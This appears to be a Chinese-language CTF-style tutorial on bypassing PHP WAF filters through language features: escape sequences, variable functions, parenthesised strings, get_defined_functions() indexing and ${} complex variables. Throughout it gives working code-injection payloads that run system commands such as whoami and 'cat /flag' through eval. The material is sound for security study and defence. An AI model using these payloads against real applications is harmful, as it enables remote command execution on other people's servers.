前言
这里总结几个用特性来bypass php waf的方法,参考了师傅们的文章,感谢师傅们发现这么有趣的东西。
注意:以下测试均在PHP 7.x 以上
转义序列
转义序列大家都很常见了,但是在php中,转义序列被双引号包裹(注意只能是双引号),可以解析为字符串
1 | # 八进制 |
报错但是不影响执行system(whoami)
可变函数和字符串特性
针对这一特性,这里把waf的过滤规则修改一下:
1 |
|
这个waf意味着我们不能在(
前有任何的字母数字,也就是说形如system("ls")
或exec("ls")
这样的会被ban掉,而且前面addslashes会过滤引号,意味着我们不能进行双引号拼接。
说到可变函数,就需要了解其函数搜索的原理
PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。
可变函数不能用于例如 eval, echo,print,unset(),isset(),empty(),include,require 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。不能用eval,所以我们无法构造一句话木马
也就意味着以下是等价的
1 | system("ls") |
字符串特性
字符串不仅可以使用单双引来包裹,还可以单纯的使用括号()**来表示,并且在括号内**还可以用.
进行拼接,因此结合可变函数的定义就有以下等价形式,注意这里的(system)
可以当做字符串并执行的原因就是因为可变函数
1 | system("ls") |
不用字符串特性如何解
实际上,这道题的waf不够全面,不需要字符串特性就是绕了。这题的waf对(
前面的匹配是[A-Za-z0-9]
,也就是说只会匹配字母和数子组成的字符串,所以我们可以利用$_GET[a]
来外带参数,这里仅仅用到了可变函数的特性,而没有使用到()
的字符串特性
1 | $_GET[a]($_GET[b]) |
我们需要把waf改为
1 | /[A-Za-z0-9_/[/]/$]+\(/i |
get_defined_functions()
函数定义
(PHP 4 >= 4.0.4, PHP 5, PHP 7)
get_defined_functions — 返回所有已定义函数的数组
get_defined_functions ([ bool
$exclude_disabled
= FALSE ] ) : array获取所有已定义函数的数组。
get_defined_functions()[internal]字段获取内置函数
get_defined_functions()[user]字段获取用户定义函数
这个函数通常可以用来进行一些骚操作。比如如果禁用了system,那么我们可以借此来找出system的位置,这里不要用var_dump
1 | php -r "print_r(get_defined_functions()[internal]);" | grep system |
于是有:
1 | ?code=(get_de.fin.ed_fun.(c).tions)()[internal][481](whoami); |
注意要加internal
php7以上内嵌注释
/*comment*/
不成功,如果可以内嵌注释的话还可以参数混淆
1 | ?code=(get_de.fin.ed/*aaa*/_fun.(c).tions)()[internal][481](whoami); |
php复杂变量
讲解这个特性之前,我们把前面字符串特性的代码改一下
代码如下:
1 |
|
简单分析一下:
单双引号被addslashes函数转义,无法在eval处双引拼接
正则过滤了类似
system(
这样,也就是说不能直接使用函数aaa("bbb")
,前面也说了eval处是
'$a="' . $str . '";'
的赋值语句,无法直接执行函数。
复杂变量
从表达式上看,其形式是
${var}
或{$var}
,这里的var并不局限于简单的变量,在php5以后,函数、方法、静态类变量和类常量在其命名空间内都可以使用复杂变量**${}
或{${}}
**的形式来访问。
几个例子:
- 和可变变量
$$
类似用法
1 |
|
- 但如果
{}
内是方法或者函数,则${}
就有特殊效果
1 | <?php |
我们暂且不管${phpinfo()}
或"${phpinfo()}"
会返回什么值,但是可以确定的是,phpinfo()可以执行,也就是函数可以执行
- 用
${function}
的返回值命名变量
实际上,${function}
本质是用来定义一个变量,其作用也就是可以根据函数的返回值来
这样可以打印出phpinfo,也就是函数执行了,为什么呢?
解释:phpinfo()
是一个函数,而"${phpinfo()}"
表示的是一个变量,其是有具体的值的
1 | <?php |
所以我们可以用"${function}"
来在内嵌语句中执行函数,因此payload可以是:
1 | ${(system)(ls)} |
执行带空格的命令
如果你了解了上面的复杂变量和字符串特性,我们给出了一个命令执行的payload,执行的命令是ls
,但是如果我们要执行带空格的命令呢?想必师傅们在尝试的时候已经出现了一些小问题。正常情况下,对于字符串特性,()
内的字符串只能是字母数字组合的,如果是其他特殊字符,php解析的时候会报错。比如:
1 | ${(system)(./readflag)} |
以上显然是不行的,如果要执行带有特殊字符的命令,我们仍需要引号来拼接
1 | ${(system)(c.(a).t.' /'.flag)} |
但是如果拿上面的语句去过waf读flag,发现还是不行。别忘了,单双引号被addslashes转义了。单引号被转义了,由于外层$a=""
是双引号包裹的,所以单引号转义成\'
就不对了。那双引号行不行呢?
1 | $a = "${(system)(\"whoami\")}"; |
还是不行。所以总结一下
要是没有addslashes的转义,单引号包裹特殊字符是可以执行的,双引号本身在外层双引号下就不转义就无效,转义了就会报错,所以双引号转不转义都不行
所以我们需要绕addslashes的转义,才能执行带空格的命令,上面也提到了$_GET[a]($_GET[b])
的payload,由于$_GET[a]
的内容在eval函数处才会展开,所以不会被addslashes转义,可以成功执行带空格的命令
1 | ?str=${$_GET[a]($_GET[b])}&a=system&b=cat /flag |
参考
http://blog.zeddyu.info/2019/04/11/PHP%E5%A4%8D%E6%9D%82%E5%8F%98%E9%87%8F/#Introduction
https://blog.zeddyu.info/2019/02/28/Some-Tricks-of-Bypass-php-waf/#%E5%BC%95%E5%85%A5